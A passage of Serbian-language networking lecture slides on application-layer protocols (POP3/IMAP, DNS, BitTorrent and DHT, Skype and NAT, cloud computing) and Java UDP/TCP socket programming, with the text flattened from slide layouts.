S:
S:
C:
C:
S:
S:
C:
C:
S:
list
1 498
2 912
.
retr 1
<sadržaj 1. poruke>
.
dele 1
retr 2
<sadržaj 2. poruke>
.
dele 2
quit
+OK POP3 server signing
on
off
Aplikacije
2-70
POP3 i IMAP
POP3
• Prethodni primer
koristi “skini i obriši”
môd.
• Miloš ne može ponovo
pročitati mail ako
promeni klijenta
• “Skini i ostavi”: kopije
poruka na različitim
klijentima
• POP3 zaboravlja nakon
završetka sesije
IMAP
• Drži sve poruke na
jednom mestu: serveru
• Omogućava korisniku
da organizuje poruke u
foldere
• IMAP pamti tokom više
sesija
o
npr. imena foldera i
koje poruke su u kojim
folderima
Aplikacije
2-71
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-72
DNS: Domain Name System
Ljudi: mnogo identifikatora:
o
ime, broj pasoša, broj lk
Internet hostovi i ruteri:
o
o
IP adresa (32-bitna) –
koristi se za adresiranje
datagrama
“ime”, npr. www.yahoo.com
– koriste ga ljudi
Q: preslikavanje između IP
adresa i imena?
Domain Name System:
o
distributirana baza podataka
implementirana hijerarhijski
na mnogim name serverima
o protokol apl. nivoa pomoću
koga hostovi, ruteri i name
serveri komuniciraju i
razrešavaju imena (prevod
adresa <-> ime)
o napomena: funkcionalnost
jezgra Interneta,
implementirana kao
protokol apl. nivoa
Aplikacije
2-73
DNS
DNS usluge
• prevođenje imena
hosta u IP adresu
• host aliasing
o
kanonička imena i
“pseudonimi”, npr. neki
web serveri imaju kraća
imena koja mogu da se
koriste umesto pravih,
kanoničkih imena
• mail server aliasing
• raspodela saobraćaja
o replikacija Web servera:
skup IP adresa za jedno
kanoničko ime
Zašto ne centralizovan DNS?
• jedna tačka ispada
• količina saobraćaja
• udaljena centralizovana
baza podataka
• održavanje
Nije skalabilan!
Aplikacije
2-74
Distribuirana, hijerarhijska baza
podataka
Root DNS Serveri
com DNS serveri
yahoo.com
DNS serveri
amazon.com
DNS serveri
org DNS serveri
pbs.org
DNS serveri
edu DNS serveri
poly.edu
umass.edu
DNS serveri DNS serveri
Klijent želi IP adresu za www.amazon.com
• klijent šalje upit root serveru da pronađe com server
• klijent šalje upit com DNS serveru da pronađe
amazon.com DNS server
• klijent šalje upit amazon.com DNS serveru da mu
pošalje IP adresu www.amazon.com
Aplikacije
2-75
DNS: Root name serveri
•
•
kontaktiraju ih lokalni name serveri koji ne mogu da razreše imena
root name server:
o kontaktira autoritativni name server ako mu preslikavanje nije
poznato
o dobija preslikavanje
o vraća preslikavanje lokalnom name serveru
a Verisign, Dulles, VA
c Cogent, Herndon, VA (also LA)
d U Maryland College Park, MD
g US DoD Vienna, VA
h ARL Aberdeen, MD
j Verisign, ( 21 locations)
e NASA Mt View, CA
f Internet Software C. Palo Alto,
k RIPE London (also 16 other locations)
i Autonomica, Stockholm (plus
28 other locations)
m WIDE Tokyo (also Seoul,
Paris, SF)
CA (and 36 other locations)
b USC-ISI Marina del Rey, CA
l ICANN Los Angeles, CA
13 root name
servera širom
sveta
Aplikacije
2-76
TLD i Autoritativni serveri
• DNS serveri najvišeg nivoa (Top-level domain,
TLD, serveri):
o
o
o
odgovorni za com, org, net, edu, itd. i sve nacionalne
domene najvišeg nivoa: rs, uk, fr, ca, jp.
Network Solutions održava servere za com TLD
Educause za edu TLD
• Autoritativni DNS serveri:
o organizacijski DNS serveri, daju autoritativna
preslikavanja imena hostova i IP adresa za
organizacijske servere (npr. Web, mail).
o može ih održavati organizacija ili provajder servisa
Aplikacije
2-77
Lokalni name server
• ne pripada strogo hijerarhiji
• svaki ISP (rezidencijalni ISP, kompanijski,
univerzitetski) ima jedan lokalni name server
o
on se naziva i “default name server”
• kada host kreira DNS upit, on ga šalje svom
lokalnom DNS serveru
o
ponaša se kao proxy, prosleđuje upit DNS
hijerarhiji
Aplikacije
2-78
Primer razrešavanja
DNS imena
root DNS server
2
• host na ftn.uns.ac.rs
3
želi IP adresu od
gaia.cs.umass.edu
iterativni upit:
•
•
kontaktirani server
odgovara sa imenom
servera koga treba
kontaktirati
“Ne znam ovo ime,
pitaj ovog servera”
TLD DNS server
4
5
lokalni DNS server
uns.ac.rs
1
8
Host
7
6
autoritativni DNS server
dns.cs.umass.edu
ftn.uns.ac.rs
gaia.cs.umass.edu
Aplikacije
2-79
Primer razrešavanja
DNS imena
rekurzivni upit:
•
root DNS server
2
7
zadatak razrešavanja
imena se prebacuje na
kontaktirani name
lokalni DNS server
server
uns.ac.rs
•
3
veliko opterećenje?
1
6
TLD DNS server
5
4
8
host
autoritativni DNS server
dns.cs.umass.edu
ftn.uns.ac.rs
gaia.cs.umass.edu
Aplikacije
2-80
DNS: keširanje i ažuriranje unosa
• kada neki name server “nauči” preslikavanje, on
ga kešira
o keširani unosi se brišu nakon nekog vremena
o TLD serveri su tipično keširani u lokalnim
name serverima
• => root name serveri se ne kontaktiraju često
• mehanizmi za ažuriranje i obaveštenja su u
razvoju (IETF)
o
RFC 2136
o
http://www.ietf.org/html.charters/dnsind-charter.html
Aplikacije
2-81
DNS unosi
DNS: distribuirana baza podataka sa tzv. resource
record-ima (RR)
RR format: (name,
• Type=A
o name je ime hosta
o value je IP adresa
• Type=NS
o name je domen (npr.
foo.com)
o value je ime
autoritativnog name
servera za ovaj domen
•
value, type, ttl)
Type=CNAME
o
name je pseudonim za neko
“kanoničko” (stvarno) ime
www.ibm.com je zapravo
servereast.backup2.ibm.com
o
value je kanoničko ime
• Type=MX
o value je kanoničko ime mail
servera čiji je pseudonim dat
u name
Aplikacije 2-82
DNS protokol, poruke
DNS protokol : poruke upita i odgovora, obe imaju isti
format
zaglavlje poruke
•
•
identification: 12-bitni
broj upita, odgovor
koristi isti ovaj broj
flags:
o upit ili odgovor
o potrebna rekurzija
o rekurzija moguća
o odgovor je
autoritativan
Aplikacije
2-83
DNS protokol, poruke
polja imena i tipa
za upit
RR-ovi kao
odgovor na upit
polja za autoritativne
servere
dodatne “korisne”
informacije koje mogu
biti upotrebljene
Aplikacije
2-84
Unošenje podataka u DNS
• primer: nova kompanija “Network Utopia”
• treba registrovati ime networkuptopia.com kod
registratora (npr. Network Solutions)
o
o
DNS
proslediti imena, IP adrese autoritativnih name servera
(primarnih i sekundarnih)
registrar unosi dva RR-a u com TLD server:
(networkutopia.com, dns1.networkutopia.com, NS)
(dns1.networkutopia.com, 212.212.212.1, A)
• kreirati unos tipa A u autoritativnom serveru za
www.networkuptopia.com; unos tipa MX za
networkutopia.com
• Kako ljudi saznaju IP adresu vašeg Web sajta?
Aplikacije
2-85
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-86
Čista P2P arhitektura
•
nema servera koji je
uvek aktivan
• proizvoljni krajnji
peer-peer
sistemi direktno
komuniciraju
• peer-ovi su povremeno
na mreži i menjaju IP
adrese
• Tri teme:
o
o
o
Distribucija fajlova
Pretraga informacija
Primer: Skype
Aplikacije
2-87
Distribucija fajlova: server-klijent ili P2P
Pitanje : Koliko vremena je potrebno za distribuciju
fajla sa jednog servera na N peer-ova?
us: upload protok
servera
Server
Fajl
veličine F
us
uN
dN
u1
d1
u2
ui: upload protok
i-tog peer-a
d2
di: download protok
i-tog peer-a
Mreža (dovoljno
velikog protoka)
Aplikacije
2-88
Vreme distribucije: server-klijent
• server sekvencijalno
šalje N kopija:
o
NF/us vremena
• klijentu i treba F/di
vremena za download
Server
F
us
dN
u1 d1 u2
d2
Mreža (dovoljno
velikog protoka)
uN
Vreme za distribuciju F
do N klijenata koristeći = dcs = max { NF/us, F/min(di) }
i
klijent/server pristup
raste linearno sa N
(za veliko N)
Aplikacije
2-89
Vreme distribucije: P2P
• server mora da pošalje
jednu kopiju: F/us vreme
• klijentu i treba F/di
vremena za download
• NF bita mora biti
download-ovano (ukupno)
Server
F
us
uN
u1 d1 u2
d2
Mreža (dovoljno
velikog protoka)
dN
• najveća moguća brzina upload-a: us +
Sui
dP2P = max { F/us, F/min(di) , NF/(us + Sui) }
Aplikacije
2-90
Server-klijent ili P2P: primer
Klijentski upload protok = u, F/u = 1 h, us = 10u, dmin ≥ us
Minimalno vreme distribucije
3.5
P2P
3
Client-Server
2.5
2
1.5
1
0.5
0
0
5
10
15
20
25
30
35
N
Aplikacije
2-91
Distribucija fajlova: BitTorrent
• P2P distribucija fajlova
tracker: pronalazi peer-ove
koji učestvuju u torent-u
torrent: grupa
peer-ova koji razmenjuju delove fajla
preuzmi listu
peer-ova
rezmenjivanje
delova
peer
Aplikacije
2-92
BitTorrent (1)
• fajl podeljen u 256KB
delove.
• peer se pridružuje torentu:
još nema delove, ali će ih skupiti vremenom
o registruje se kod tracker-a da dobije listu peerova, povezuje se sa nekima od njih (“komšijama”)
• dok download-uje, peer upload-uje delove drugim
peer-ovima.
• peer-ovi mogu da dolaze i odlaze
• kada peer dobije ceo fajl, može (sebično) da ode ili
(altruistički) da ostane
o
Aplikacije
2-93
BitTorrent (2)
Skidanje delova
Slanje delova
• u svakom trenutku,
• Jovana šalje delove ka 4
različiti peer-ovi imaju
suseda; trenutno šalje
različite skupove delova
delove najvećom brzinom
fajla
o ponovo proceni najbolja
• periodično, peer
4 svakih 10 sekundi
(Jovana) zamoli susede • svakih 30 sekundi: na
da joj proslede liste
slučajan način izabere
delova koje poseduju.
drugog peer-a, počinje da
• Jovana šalje zahteve o
šalje delove
delovima koji joj
o novoizabrani peer može
nedostaju
da uđe u top 4
o prvo najređi
Aplikacije
2-94
BitTorrent
(1) Jovana bira Miloša i počinje da šalje
(2) Jovana postaje jedan od 4 najbolja Miloševa provajdera; Miloš uzvraća
(3) Miloš postaje jedan od 4 najbolja Jovanina provajdera
Sa većim upload protokom,
mogu se lakše pronaći
partneri za razmenu i brže
dobiti fajl!
Aplikacije
2-95
Distributed Hash Table (DHT)
• DHT = distribuirana P2P baza podataka
• Baza podataka sadrži parove (ključ, vrednost);
o ključ: broj indeksa; vrednost: ime
o ključ: tip sadržaja; vrednost: IP adresa
• Peer-ovi šalju upite bazi sa ključem
o
baza vraća vrednosti koje odgovaraju ključu
• Peer-ovi mogu takođe da ubacuju (ključ,
vrednost) parove
Aplikacije
2-96
DHT Identifikatori
• Dodeli celobrojni identifikator svakom peer-u u
opsegu [0,2n-1].
o
Svaki identifikator može biti reprezentovan sa n bita.
• Svaki ključ treba da bude ceo broj u istom
opsegu.
• Da bi dobili celobrojne ključeve, hešujemo
originalne ključeve.
o
o
npr. ključ = h(“Led Zeppelin IV”)
Zato se zove distribuirana “hash” tabela
Aplikacije
2-97
Kako se dodeljuju ključevi
peer-ovima?
• Centralno pitanje:
o
Dodela parova (ključ, vrednost) peer-ovima.
• Pravilo: dodeli ključ peer-u koji ima najbliži
ID.
• Konvencija tokom predavanja: najbliži znači
prvi sledbenik ključa.
• Primer: n=4; peer-ovi: 1,3,4,5,8,10,12,14;
o
o
ključ = 13, onda je peer sledbenik = 14
ključ = 15, onda je peer sledbenik = 1
Aplikacije
2-98
Cirkularna DHT (1)
1
3
15
4
12
5
10
8
• Svaki peer je svestan
samo direktnog
prethodnika i sledbenika.
• “Overlay network”
Aplikacije
2-99
Cirkularna DHT (2)
O(N) poruka u
proseku za razrešavanje upita,
kada ima N
1111
peer-ova
0001
Ja sam
Ko je nadležan
0011
za ključ 1110 ?
1110
0100
1110
1110
1100
1110
1110
Definišimo najbliži
kao najbliži sledbenik 1010
0101
1110
1000
Aplikacije
2-100
Cirkularna DHT sa prečicama
1
3
15
Ko je nadležan
za ključ 1110?
4
12
5
10
8
Svaki peer pamti IP adrese prethodnika, sledbenika i
prečica.
• Smanjenje sa 6 na 2 poruke.
• Moguće napraviti prečice tako da bude O(log N) suseda,
O(log N) poruka po upitu
•
Aplikacije
2-101
Dolazak i odlazak peer-ova
1
• Da bi se uzeli u obzir odlasci i dolasci
3
15
4
12
5
10
peer-ova, zahtevamo da svaki peer zna
IP adresu svoja dva sledbenika.
• Svaki peer periodično pinguje svoja
dva sledbenika da proveri da li su još
živi.
8
• Peer 5 naglo odlazi
• Peer 4 to detektuje; proglašava 8 za direktnog
sledbenika; pita osmicu ko mu je sledbenik i njega
proglašava svojim drugim sledbenikom.
• Šta ako peer 13 želi da se pridruži?
Aplikacije
2-102
P2P primer: Skype
Skype klijenti (SC)
• inherentno P2P: parovi
korisnika komuniciraju.
• vlasnički protokol
Skype
login server
aplikacionog nivoa
• hijerarhijska
“nadmreža” sa
superčvorovima (SN)
• preslikavanja
korisničkih imena u IP
adrese; distribuirana
po superčvorovima
Supernode
(SN)
Aplikacije
2-103
NAT ruteri i P2P
•
•
•
•
Network Address Translator – Ruter koji prevodi IP adrese u
svakom paketu koji izlazi van mreže i umesto adrese računara upisuje
svoju adresu kao adresu pošiljaoca
Nastao kao problem iscrpljivanja IP adresa u IPv4
NAT-ovi često prevode i portove
Računari čija se adresa prevodi, ne mogu ostvarivati sve tipove
veza na Internetu
NAT
Aplikacije
2-104
Peer-ovi kao releji
Ako NAT “zaključa” portove
koje koristi Skype, relejni
prenos neće biti moguć!
• Problem kada su i Miloš i
Jovana iza “NAT-a”.
o
NAT sprečava
spoljašnjeg peer-a da
inicira poziv sa
unutrašnjim peer-om
• Rešenje:
o Pomoću Miloševog i
Jovaninog SN-a, bira se
relej
o Svaki peer inicira sesiju
sa relejem.
o Peer-ovi sada mogu da
komuniciraju kroz
NAT-ove preko releja
Aplikacije
2-105
Cloud Computing
• Isporuka računarskih usluga umesto računara kao
proizvoda
• Deljeni resursi,
softver i informacije
se isporučuju
hostovima preko
mreže
• Korisnici “oblaka” ne
znaju lokaciju i ostale
detalje računarske
infrastrukture
Aplikacije
2-106
Karakteristike “oblaka”
•
•
•
•
•
•
Jačanje korisničkih resursa upotrebom P2P
Pokretljivost se poboljšava jer korisnici mogu brzo
rekonstruisati pristup infrastrukturi
Application programming interface (API) imitira pristup oblaku
kao u slučaju komunikacije čovek-mašina
Troškovi se smanjuju jer nema potrebe za kupovinom
infrastrukture. Od korisnika se zahteva manje IT veština
Nezavisnost uređaja i lokacije omogućavaju prisutp korisniku
preko pretraživača bez obzira na tip hosta (PC, laptop, mobilni)
i sa bilo koje lokacije
Virtuelizacija tehnologije omogućava deljenje servera i baza
podataka čime se povećava njihova iskorišćenost. Aplikacije lako
mogu migrirati sa jednog servera na drugi
Aplikacije
2-107
Karakteristike “oblaka” - nastavak
•
•
•
•
•
•
Raspodeljivanje troškova među korisnicima
Pouzdanost se postiže ako se koriste redudantni serfveri i
baze, zahvaljujući ćemu obezbeđuje kontinuitet poslovnih
aktivnosti i brz oporavak od havarija
Skalabilnost i elastičnost se ostvaruju isporukom resursa “na
zahtev” korisnika
Monitoirng performansi
Bezbednost se povećava u smislu zaštite autorskih prava, ali
postoji bojazan od ugroženosti privatnosti
Održavanje programa je lakše jer ne moraju biti instalirani na
korisničkim uređajima. Svaki patch i update se obavlja
automatski, bez znanja korisnika
Aplikacije
2-108
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacija
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-109
Soket programiranje
Cilj: naučiti kako se pravi klijent/server aplikacija koja
komunikaciju obavlja kroz sokete
Socket API
•
•
•
•
uveden u BSD4.1 UNIX, 1981
eksplicitno kreiran, korišćen
i zatvoren od strane
aplikacije
klijent/server paradigma
dva tipa transportnog
servisa preko socket API:
o
o
UDP
TCP
soket
Interfejs (vrata),
kreirana od strane
aplikacije, kontrolisana od
strane OS, kroz koja
aplikacioni proces može da
šalje i prima poruke ka/od
drugog aplikacionog
procesa
Aplikacije
2-110
Osnovi soket programiranja
• Server mora biti
• Soket je lokalno
pokrenut pre nego
identifikovan sa
što klijent može bilo
portom
šta da mu pošalje.
o analogno broju stana u
zgradi
• Server mora da ima
• Klijent mora da zna
soket (vrata) kroz
serverovu IP adresu i
koji prima i šalje
port soketa.
segmente
• Slično, klijentu
takođe treba soket
Aplikacije
2-111
Soket programiranje sa UDP-om
UDP: nema “konekcije” između
klijenta i servera
•nema rukovanja
•predajnik eksplicitno stavlja
IP adresu i port odredišta u
svaki segment
•OS stavlja IP adresu i port
predajnog soketa u svaki
segment
•server može da sazna IP
adresu i port predajnika iz
primljenog segmenta
sa stanovišta aplikacije
UDP pruža nepouzdan prenos
datagrama između klijenta
i servera
Aplikacije
2-112
Primer
• Klijent:
o
o
Korisnik unosi liniju teksta
Klijentski program šalje liniju serveru
• Server:
o Server prima liniju teksta
o Prebacuje ceo tekst u velika slova
o Šalje modifikovanu liniju klijentu
• Klijent:
o Prima liniju teksta
o Prikazuje
Aplikacije
2-113
Klijent/server soket interakcija: UDP
Server (izvršava se na hostid)
kreiraj soket,
port= x.
serverSocket =
DatagramSocket()
primi datagram sa
serverSocket
pošalji odgovor na
serverSocket
sa datom adresom
i portom klijenta
Klijent
kreiraj soket,
clientSocket =
DatagramSocket()
kreiraj datagram sa server IP i
port=x; šalji datagram kroz
clientSocket
primi datagram sa
clientSocket
zatvori
clientSocket
Aplikacije
2-114
Primer: Java klijent (UDP)
input
stream
klijentski
proces
monitor
inFromUser
keyboard
Process
Ulaz: prijem paketa
(podsećanje, TCP
prima “byte stream”)
UDP
packet
receivePacket
(podsećanje, TCP
šalje “byte stream”)
sendPacket
Izlaz: slanje paketa
klijentski
clientSocket
UDP soket
to netw ork
UDP
packet
UDP
socket
f rom netw ork
Aplikacije
2-115
Primer: Java klijent (UDP)
import java.io.*;
import java.net.*;
kreiraj
ulazni tok
kreiraj
klijentski soket
prevedi ime
hosta u IP adresu
koristeći DNS
class UDPClient {
public static void main(String args[]) throws Exception
{
BufferedReader inFromUser =
new BufferedReader(new InputStreamReader(System.in));
DatagramSocket clientSocket = new DatagramSocket();
InetAddress IPAddress = InetAddress.getByName("hostname");
byte[] sendData = new byte[1024];
byte[] receiveData = new byte[1024];
String sentence = inFromUser.readLine();
sendData = sentence.getBytes();
Aplikacije
2-116
Primer: Java klijent (UDP)
kreiraj datagram sa
podacima za slanje,
dužinom, IP
adresom, portom
pošalji datagram
serveru
DatagramPacket sendPacket =
new DatagramPacket(sendData, sendData.length, IPAddress, 9876);
clientSocket.send(sendPacket);
DatagramPacket receivePacket =
new DatagramPacket(receiveData, receiveData.length);
primi datagram
od servera
clientSocket.receive(receivePacket);
String modifiedSentence =
new String(receivePacket.getData());
System.out.println("FROM SERVER:" + modifiedSentence);
clientSocket.close();
}
}
Aplikacije
2-117
Primer: Java server (UDP)
import java.io.*;
import java.net.*;
kreiraj
datagram soket
na portu 9876
class UDPServer {
public static void main(String args[]) throws Exception
{
DatagramSocket serverSocket = new DatagramSocket(9876);
byte[] receiveData = new byte[1024];
byte[] sendData = new byte[1024];
while(true)
{
obezbedi prostor za
primljeni datagram
primi
datagram
DatagramPacket receivePacket =
new DatagramPacket(receiveData, receiveData.length);
serverSocket.receive(receivePacket);
Aplikacije
2-118
Primer: Java server (UDP)
String sentence = new String(receivePacket.getData());
uzmi IP adresu
i port
pošiljaoca
InetAddress IPAddress = receivePacket.getAddress();
int port = receivePacket.getPort();
String capitalizedSentence = sentence.toUpperCase();
sendData = capitalizedSentence.getBytes();
kreiraj datagram
za slanje klijentu
DatagramPacket sendPacket =
new DatagramPacket(sendData, sendData.length, IPAddress,
port);
pošalji
datagram
kroz soket
serverSocket.send(sendPacket);
}
}
}
kraj while petlje,
vrati se nazad i čekaj
naredni datagram
Aplikacije
2-119
UDP zapažanja i pitanja
• I klijent i server koriste DatagramSocket
• IP adresa i port odredišta su eksplicitno
stavljeni u segment.
• Šta bi se desilo ako promenimo oba
clientSocket i serverSocket u “mySocket”?
• Može li klijent poslati segment serveru bez
znanja serverove IP adrese i/ili porta?
• Može li više klijenata koristiti server?
Aplikacije
2-120
Poglavlje 2: Aplikacije
• 2.1 Principi mrežnih
aplikacija
• 2.2 Web i HTTP
• 2.3 FTP
• 2.4 Elektronska pošta
o
aplikacije
transport
mreža
link
fizički nivo
• 2.6 P2P aplikacije
• 2.7 Soket programiranje
sa UDP-om
• 2.8 Soket programiranje
sa TCP-om
SMTP, POP3, IMAP
• 2.5 DNS
Aplikacije
2-121
Soket programiranje sa TCP-om
TCP servis: pouzdan prenos bajtova od jednog do
drugog procesa
pod kontrolom
programera koji
pravi aplikaciju
pod kontrolom
operativnog
sistema
proces
proces
soket
TCP sa
baferima,
prom.
klijent ili
server
internet
soket
TCP sa
baferima,
prom.
pod kontrolom
programera koji
pravi aplikaciju
pod kontrolom
operativnog
sistema
klijent ili
server
Aplikacije
2-122
Soket programiranje sa TCP-om
Klijent mora da pozove server
• serverski proces mora prvi
da bude pokrenut
• server mora da ima kreiran
soket (vrata) koji prima
klijentov poziv
Klijent poziva servera tako što:
• kreira lokalni TCP soket
• navodi IP adresu i port
serverskog procesa
• kada klijent kreira soket:
klijentska strana TCP-a
uspostavlja vezu sa
serverskom stranom TCP-a
•
kada ga kontaktira klijent,
serverska strana TCP-a
kreira novi soket za
komunikaciju serverskog
procesa sa klijentom
o omogućava serveru da
priča sa više klijenata
o predajni portovi služe za
razlikovanje klijenata
sa stanovišta aplikacije
TCP pruža pouzdan, po redosledu,
prenos datagrama
između klijenta i servera
Aplikacije
2-123
Klijent/server soket interakcija: TCP
Server (izvršava se na hostid)
Klijent
kreiraj soket,
port=x, za dolazne
zahteve:
welcomeSocket =
ServerSocket()
TCP
čekaj dolazne zahteve
uspostava
za konekcijom
connectionSocket =
welcomeSocket.accept()
primi zahtev sa
connectionSocket
pošalji odgovor na
connectionSocket
zatvori
connectionSocket
veze
kreiraj soket,
poveži se sa hostid, port=x
clientSocket =
Socket()
pošalji zahtev koristeći
clientSocket
primi odgovor sa
clientSocket
zatvori
clientSocket
Aplikacije
2-124
Tok
•
input
stream
klijentski
Process
proces
output
stream
inFromServer
•
Stream (tok) je sekvenca
karaktera koji ulaze u ili
izlaze iz procesa.
Ulazni tok je povezan sa
nekim ulazom procesa, npr.
tastaturom ili soketom.
Izlazni tok je povezan sa
izlazom, npr. monitorom ili
soketom.
outToServer
•
monitor
inFromUser
keyboard
input
stream
klijentski
clientSocket
TCP soket
to netw ork
TCP
socket
from netw ork
Aplikacije
2-125
Soket programiranje sa TCP-om
Primer klijent/server aplikacije:
1) klijent čita liniju sa standardnog
ulaza (inFromUser stream), šalje
serveru kroz soket (outToServer
stream)
2) server čita liniju sa soketa
3) server pretvara sve u velika slova,
šalje nazad klijentu
4) klijent čita i prikazuje modifikovanu
liniju sa soketa (inFromServer
stream)
Aplikacije
2-126
Primer: Java klijent (TCP)
import java.io.*;
import java.net.*;
class TCPClient {
public static void main(String argv[]) throws Exception
{
String sentence;
String modifiedSentence;
kreiraj
ulazni tok
kreiraj klijentski
soket, poveži se
sa serverom
kreiraj izlazni tok
povezan sa soketom
BufferedReader inFromUser =
new BufferedReader(new InputStreamReader(System.in));
Socket clientSocket = new Socket("hostname", 6789);
DataOutputStream outToServer =
new DataOutputStream(clientSocket.getOutputStream());
Aplikacije
2-127
Primer: Java klijent (TCP)
BufferedReader inFromServer =
new BufferedReader(new
InputStreamReader(clientSocket.getInputStream()));
kreiraj ulazni tok
povezan na soket
sentence = inFromUser.readLine();
pošalji liniju
serveru
outToServer.writeBytes(sentence + '\n');
primi liniju
od servera
modifiedSentence = inFromServer.readLine();
System.out.println("FROM SERVER: " + modifiedSentence);
clientSocket.close();
}
}
Aplikacije
2-128
Primer: Java server (TCP)
import java.io.*;
import java.net.*;
class TCPServer {
kreiraj soket za
dobrodošlicu
na portu 6789
čekaj na tom soketu
da te kontaktira
klijent
kreiraj ulazni tok,
povezan na soket
public static void main(String argv[]) throws Exception
{
String clientSentence;
String capitalizedSentence;
ServerSocket welcomeSocket = new ServerSocket(6789);
while(true) {
Socket connectionSocket = welcomeSocket.accept();
BufferedReader inFromClient =
new BufferedReader(new
InputStreamReader(connectionSocket.getInputStream()));
Aplikacije
2-129
Primer: Java server (TCP)
kreiraj izlazni tok,
povezan na soket
DataOutputStream outToClient =
new DataOutputStream(connectionSocket.getOutputStream());
pročitaj liniju
sa soketa
clientSentence = inFromClient.readLine();
capitalizedSentence = clientSentence.toUpperCase() + '\n';
pošalji liniju
na soket
outToClient.writeBytes(capitalizedSentence);
}
}
}
kraj while petlje,
vrati se nazad i čekaj
konekciju sa drugim klijentom
Aplikacije
2-130
TCP zapažanja i pitanja
• Server ima dva tipa soketa:
o ServerSocket i Socket
• Kada klijent pokuca na serverSocket-ova
“vrata”, server kreira connectionSocket i
kompletira TCP konekciju.
• IP adresa i port odredišta nisu eksplicitno
prikačeni na segment.
• Može li više klijenata da koristi server?
Aplikacije
2-131
Poglavlje 2: rezime
Proučavanje mrežnih aplikacija je sada kompletno!
• aplikacione arhitekture
o klijent-server
o P2P
o hibridne
• zahtevi o aplikacionim
uslugama:
o
pouzdanost, protok,
kašnjenje
• modeli transportnog
servisa na Internetu
o
o
pouzdan, sa uspostavom
veze: TCP
nepouzdan, bez uspostave
veze: UDP
• određeni protokoli:
o HTTP
o FTP
o SMTP, POP, IMAP
o DNS
o P2P: BitTorrent, Skype
• soket programiranje
aplikacije
transport
mreža
link
fizički nivo
Aplikacije
2-132